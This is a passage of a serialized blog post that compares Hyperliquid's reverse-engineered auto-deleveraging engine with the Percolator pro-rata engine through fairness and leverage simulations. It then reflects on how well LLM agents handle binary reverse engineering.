tag":230,"props":166615,"children":166617},{"className":166616,"style":6387},[6386],[],{"type":23,"tag":230,"props":166619,"children":166621},{"className":166620},[6392,6393,6394,6395],[166622],{"type":23,"tag":230,"props":166623,"children":166625},{"className":166624,"style":23903},[6345,23902,6395],[166626],{"type":29,"value":8324},{"type":23,"tag":230,"props":166628,"children":166629},{"style":6381},[166630,166634],{"type":23,"tag":230,"props":166631,"children":166633},{"className":166632,"style":6387},[6386],[],{"type":23,"tag":230,"props":166635,"children":166637},{"className":166636},[6392,6393,6394,6395],[166638],{"type":23,"tag":230,"props":166639,"children":166641},{"className":166640,"style":95312},[6345,23902,6395],[166642],{"type":29,"value":162897},{"type":23,"tag":230,"props":166644,"children":166646},{"className":166645},[24059],[166647],{"type":29,"value":24062},{"type":23,"tag":230,"props":166649,"children":166651},{"className":166650},[6372],[166652],{"type":23,"tag":230,"props":166653,"children":166656},{"className":166654,"style":166655},[6377],"height:0.2753em;",[166657],{"type":23,"tag":230,"props":166658,"children":166659},{},[],{"type":23,"tag":230,"props":166661,"children":166663},{"className":166662},[6345],[166664],{"type":29,"value":6919},{"type":23,"tag":230,"props":166666,"children":166668},{"className":166667},[6345],[166669,166674],{"type":23,"tag":230,"props":166670,"children":166672},{"className":166671,"style":96834},[6345,23902],[166673],{"type":29,"value":163383},{"type":23,"tag":230,"props":166675,"children":166677},{"className":166676},[6362],[166678],{"type":23,"tag":230,"props":166679,"children":166681},{"className":166680},[6367,23956],[166682,166711],{"type":23,"tag":230,"props":166683,"children":166685},{"className":166684},[6372],[166686,166706],{"type":23,"tag":230,"props":166687,"children":166689},{"className":166688,"style":144381},[6377],[166690],{"type":23,"tag":230,"props":166691,"children":166692},{"style":163402},[166693,166697],{"type":23,"tag":230,"props":166694,"children":166696},{"className":166695,"style":6387},[6386],[],{"type":23,"tag":230,"props":166698,"children":166700},{"className":166699},[6392,6393,6394,6395],[166701],{"type":23,"tag":230,"props":166702,"children":166704},{"className":166703,"style":23903},[6345,23902,6395],[166705],{"type":29,"value":8324},{"type":23,"tag":230,"props":166707,"children":166709},{"className":166708},[24059],[166710],{"type":29,"value":24062},{"type":23,"tag":230,"props":166712,"children":166714},{"className":166713},[6372],[166715],{"type":23,"tag":230,"props":166716,"children":166718},{"className":166717,"style":94909},[6377],[166719],{"type":23,"tag":230,"props":166720,"children":166721},{},[],{"type":29,"value":166723}," — ",{"type":23,"tag":71,"props":166725,"children":166727},{"className":166726},[6318,6319],[166728],{"type":23,"tag":230,"props":166729,"children":166731},{"className":166730},[6324],[166732],{"type":23,"tag":230,"props":166733,"children":166735},{"className":166734,"ariaHidden":1726},[6329],[166736],{"type":23,"tag":230,"props":166737,"children":166739},{"className":166738},[6334],[166740,166745],{"type":23,"tag":230,"props":166741,"children":166744},{"className":166742,"style":166743},[6339],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":230,"props":166746,"children":166748},{"className":166747},[6345],[166749,166754],{"type":23,"tag":230,"props":166750,"children":166752},{"className":166751,"style":96834},[6345,23902],[166753],{"type":29,"value":163383},{"type":23,"tag":230,"props":166755,"children":166757},{"className":166756},[6362],[166758],{"type":23,"tag":230,"props":166759,"children":166761},{"className":166760},[6367,23956],[166762,166807],{"type":23,"tag":230,"props":166763,"children":166765},{"className":166764},[6372],[166766,166802],{"type":23,"tag":230,"props":166767,"children":166769},{"className":166768,"style":110543},[6377],[166770,166786],{"type":23,"tag":230,"props":166771,"children":166772},{"style":166612},[166773,166777],{"type":23,"tag":230,"props":166774,"children":166776},{"className":166775,"style":6387},[6386],[],{"type":23,"tag":230,"props":166778,"children":166780},{"className":166779},[6392,6393,6394,6395],[166781],{"type":23,"tag":230,"props":166782,"children":166784},{"className":166783,"style":23903},[6345,23902,6395],[166785],{"type":29,"value":8324},{"type":23,"tag":230,"props":166787,"children":166788},{"style":6381},[166789,166793],{"type":23,"tag":230,"props":166790,"children":166792},{"className":166791,"style":6387},[6386],[],{"type":23,"tag":230,"props":166794,"children":166796},{"className":166795},[6392,6393,6394,6395],[166797],{"type":23,"tag":230,"props":166798,"children":166800},{"className":166799,"style":95312},[6345,23902,6395],[166801],{"type":29,"value":162897},{"type":23,"tag":230,"props":166803,"children":166805},{"className":166804},[24059],[166806],{"type":29,"value":24062},{"type":23,"tag":230,"props":166808,"children":166810},{"className":166809},[6372],[166811],{"type":23,"tag":230,"props":166812,"children":166814},{"className":166813,"style":166655},[6377],[166815],{"type":23,"tag":230,"props":166816,"children":166817},{},[],{"type":29,"value":166819}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":71,"props":166821,"children":166823},{"className":166822},[6318,6319],[166824],{"type":23,"tag":230,"props":166825,"children":166827},{"className":166826},[6324],[166828],{"type":23,"tag":230,"props":166829,"children":166831},{"className":166830,"ariaHidden":1726},[6329],[166832],{"type":23,"tag":230,"props":166833,"children":166835},{"className":166834},[6334],[166836,166840],{"type":23,"tag":230,"props":166837,"children":166839},{"className":166838,"style":112667},[6339],[],{"type":23,"tag":230,"props":166841,"children":166843},{"className":166842,"style":95312},[6345,23902],[166844],{"type":29,"value":162897},{"type":23,"tag":32,"props":166846,"children":166847},{},[166848],{"type":29,"value":166849},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":166851,"props":166852,"children":166854},"git-hub-repo-link",{"url":166853},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":32,"props":166856,"children":166857},{},[166858,166860,166865],{"type":29,"value":166859},"Given a fixed ",{"type":23,"tag":2258,"props":166861,"children":166862},{},[166863],{"type":29,"value":166864},"a priori",{"type":29,"value":166866}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":32,"props":166868,"children":166869},{},[166870,166872,166877,166879,166956],{"type":29,"value":166871},"One prediction that we can make is that Percolator is ",{"type":23,"tag":2258,"props":166873,"children":166874},{},[166875],{"type":29,"value":166876},"perfectly fair",{"type":29,"value":166878}," according to this scoring: the ",{"type":23,"tag":71,"props":166880,"children":166882},{"className":166881},[6318,6319],[166883],{"type":23,"tag":230,"props":166884,"children":166886},{"className":166885},[6324],[166887],{"type":23,"tag":230,"props":166888,"children":166890},{"className":166889,"ariaHidden":1726},[6329],[166891],{"type":23,"tag":230,"props":166892,"children":166894},{"className":166893},[6334],[166895,166899],{"type":23,"tag":230,"props":166896,"children":166898},{"className":166897,"style":144105},[6339],[],{"type":23,"tag":230,"props":166900,"children":166902},{"className":166901},[6345],[166903,166908],{"type":23,"tag":230,"props":166904,"children":166906},{"className":166905},[6345,23902],[166907],{"type":29,"value":86124},{"type":23,"tag":230,"props":166909,"children":166911},{"className":166910},[6362],[166912],{"type":23,"tag":230,"props":166913,"children":166915},{"className":166914},[6367,23956],[166916,166945],{"type":23,"tag":230,"props":166917,"children":166919},{"className":166918},[6372],[166920,166940],{"type":23,"tag":230,"props":166921,"children":166923},{"className":166922,"style":95355},[6377],[166924],{"type":23,"tag":230,"props":166925,"children":166926},{"style":94882},[166927,166931],{"type":23,"tag":230,"props":166928,"children":166930},{"className":166929,"style":6387},[6386],[],{"type":23,"tag":230,"props":166932,"children":166934},{"className":166933},[6392,6393,6394,6395],[166935],{"type":23,"tag":230,"props":166936,"children":166938},{"className":166937},[6345,23902,6395],[166939],{"type":29,"value":6074},{"type":23,"tag":230,"props":166941,"children":166943},{"className":166942},[24059],[166944],{"type":29,"value":24062},{"type":23,"tag":230,"props":166946,"children":166948},{"className":166947},[6372],[166949],{"type":23,"tag":230,"props":166950,"children":166952},{"className":166951,"style":94909},[6377],[166953],{"type":23,"tag":230,"props":166954,"children":166955},{},[],{"type":29,"value":166957}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":32,"props":166959,"children":166960},{},[166961,166963,166968],{"type":29,"value":166962},"We are ignoring the ",{"type":23,"tag":2258,"props":166964,"children":166965},{},[166966],{"type":29,"value":166967},"a posteriori",{"type":29,"value":166969}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":32,"props":166971,"children":166972},{},[166973],{"type":29,"value":166974},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":23,"tag":24,"props":166976,"children":166978},{"id":166977},"simulations",[166979],{"type":29,"value":166980},"Simulations",{"type":23,"tag":32,"props":166982,"children":166983},{},[166984],{"type":29,"value":166985},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":32,"props":166987,"children":166988},{},[166989],{"type":23,"tag":93,"props":166990,"children":166993},{"alt":166991,"src":166992},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":32,"props":166995,"children":166996},{},[166997],{"type":29,"value":166998},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":32,"props":167000,"children":167001},{},[167002],{"type":23,"tag":93,"props":167003,"children":167006},{"alt":167004,"src":167005},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":59,"props":167008,"children":167010},{"id":167009},"percolator-is-more-optimistic",[167011],{"type":29,"value":167012},"Percolator Is More \"Optimistic\"",{"type":23,"tag":32,"props":167014,"children":167015},{},[167016,167018,167023,167025,167030,167032,167038,167040,167045],{"type":29,"value":167017},"The key difference is what happens to positions. ADL ",{"type":23,"tag":2258,"props":167019,"children":167020},{},[167021],{"type":29,"value":167022},"permanently closes",{"type":29,"value":167024}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":2258,"props":167026,"children":167027},{},[167028],{"type":29,"value":167029},"withdraw",{"type":29,"value":167031},", but the position stays open. If conditions improve, ",{"type":23,"tag":71,"props":167033,"children":167035},{"className":167034},[],[167036],{"type":29,"value":167037},"Residual",{"type":29,"value":167039}," goes up, ",{"type":23,"tag":71,"props":167041,"children":167043},{"className":167042},[],[167044],{"type":29,"value":86124},{"type":29,"value":167046}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":32,"props":167048,"children":167049},{},[167050,167052,167056],{"type":29,"value":167051},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":2258,"props":167053,"children":167054},{},[167055],{"type":29,"value":22501},{"type":29,"value":167057}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":32,"props":167059,"children":167060},{},[167061],{"type":23,"tag":93,"props":167062,"children":167065},{"alt":167063,"src":167064},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":24,"props":167067,"children":167069},{"id":167068},"some-points-to-be-made",[167070],{"type":29,"value":167071},"Some Points to Be Made",{"type":23,"tag":59,"props":167073,"children":167075},{"id":167074},"percolator-is-indifferent-to-leverage",[167076],{"type":29,"value":167077},"Percolator Is Indifferent to Leverage",{"type":23,"tag":32,"props":167079,"children":167080},{},[167081],{"type":29,"value":167082},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":32,"props":167084,"children":167085},{},[167086],{"type":23,"tag":93,"props":167087,"children":167090},{"alt":167088,"src":167089},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":59,"props":167092,"children":167094},{"id":167093},"fairness",[167095],{"type":29,"value":162648},{"type":23,"tag":32,"props":167097,"children":167098},{},[167099],{"type":29,"value":167100},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":32,"props":167102,"children":167103},{},[167104],{"type":23,"tag":93,"props":167105,"children":167108},{"alt":167106,"src":167107},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":32,"props":167110,"children":167111},{},[167112,167114,167119],{"type":29,"value":167113},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":71,"props":167115,"children":167117},{"className":167116},[],[167118],{"type":29,"value":161150},{"type":29,"value":167120}," we start by fully closing the worst position against the best-performing trader.",{"type":23,"tag":24,"props":167122,"children":167124},{"id":167123},"strengths-and-limitations-of-agents-for-reverse-engineering",[167125],{"type":29,"value":167126},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":32,"props":167128,"children":167129},{},[167130],{"type":29,"value":167131},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":59,"props":167133,"children":167135},{"id":167134},"hooks",[167136],{"type":29,"value":167137},"Hooks",{"type":23,"tag":32,"props":167139,"children":167140},{},[167141,167143,167147],{"type":29,"value":167142},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":2258,"props":167144,"children":167145},{},[167146],{"type":29,"value":167134},{"type":29,"value":167148},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":32,"props":167150,"children":167151},{},[167152],{"type":29,"value":167153},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":59,"props":167155,"children":167157},{"id":167156},"scale",[167158],{"type":29,"value":167159},"Scale",{"type":23,"tag":32,"props":167161,"children":167162},{},[167163],{"type":29,"value":167164},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":32,"props":167166,"children":167167},{},[167168],{"type":29,"value":167169},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":59,"props":167171,"children":167173},{"id":167172},"whats-next",[167174],{"type":29,"value":167175},"What's next?",{"type":23,"tag":32,"props":167177,"children":167178},{},[167179],{"type":29,"value":167180},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":166851,"props":167182,"children":167183},{"url":160811},[],{"type":23,"tag":32,"props":167185,"children":167186},{},[167187],{"type":29,"value":167188},"The analyzed binary can be found here:",{"type":23,"tag":161131,"props":167190,"children":167193},{"path":167191,"name":160735,"size":167192},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":59,"props":167195,"children":167197},{"id":167196},"closing-words",[167198],{"type":29,"value":167199},"Closing Words",{"type":23,"tag":32,"props":167201,"children":167202},{},[167203],{"type":29,"value":167204},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":32,"props":167206,"children":167207},{},[167208,167210,167215],{"type":29,"value":167209},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":2258,"props":167211,"children":167212},{},[167213],{"type":29,"value":167214},"manual",{"type":29,"value":167216}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":23,"tag":32,"props":167218,"children":167219},{},[167220],{"type":29,"value":167221},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":32,"props":167223,"children":167224},{},[167225],{"type":29,"value":167226},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":167228,"props":167229,"children":167230},"report-footnotes",{},[167231],{"type":23,"tag":144,"props":167232,"children":167233},{},[167234,167239,167266,167271,167276],{"type":23,"tag":102,"props":167235,"children":167236},{},[167237],{"type":29,"value":167238},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":102,"props":167240,"children":167241},{},[167242,167248,167250,167256,167258,167264],{"type":23,"tag":71,"props":167243,"children":167245},{"className":167244},[],[167246],{"type":29,"value":167247},"compute_user_margin_and_shortfall",{"type":29,"value":167249}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":71,"props":167251,"children":167253},{"className":167252},[],[167254],{"type":29,"value":167255},"0x748",{"type":29,"value":167257}," in the abstract expressions of ",{"type":23,"tag":71,"props":167259,"children":167261},{"className":167260},[],[167262],{"type":29,"value":167263},"btree_cursor",{"type":29,"value":167265},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":102,"props":167267,"children":167268},{},[167269],{"type":29,"value":167270},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":102,"props":167272,"children":167273},{},[167274],{"type":29,"value":167275},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":102,"props":167277,"children":167278},{},[167279,167281,167287],{"type":29,"value":167280},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":71,"props":167282,"children":167284},{"className":167283},[],[167285],{"type":29,"value":167286},"s3://hl-mainnet-node-data/explorer_blocks",{"type":29,"value":312},{"title":7,"searchDepth":243,"depth":243,"links":167289},[167290,167291,167292,167293,167294,167297,167298,167299,167302,167303,167306,167310],{"id":160681,"depth":243,"text":160684},{"id":160674,"depth":243,"text":160702},{"id":160759,"depth":243,"text":160762},{"id":161040,"depth":243,"text":161043},{"id":161074,"depth":243,"text":161077,"children":167295},[167296],{"id":161213,"depth":252,"text":161216},{"id":161992,"depth":243,"text":161995},{"id":162088,"depth":243,"text":162091},{"id":162306,"depth":243,"text":162309,"children":167300},[167301],{"id":162551,"depth":252,"text":162554},{"id":162611,"depth":243,"text":162614},{"id":166977,"depth":243,"text":166980,"children":167304},[167305],{"id":167009,"depth":252,"text":167012},{"id":167068,"depth":243,"text":167071,"children":167307},[167308,167309],{"id":167074,"depth":252,"text":167077},{"id":167093,"depth":252,"text":162648},{"id":167123,"depth":243,"text":167126,"children":167311},[167312,167313,167314,167315],{"id":167134,"depth":252,"text":167137},{"id":167156,"depth":252,"text":167159},{"id":167172,"depth":252,"text":167175},{"id":167196,"depth":252,"text":167199},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630605]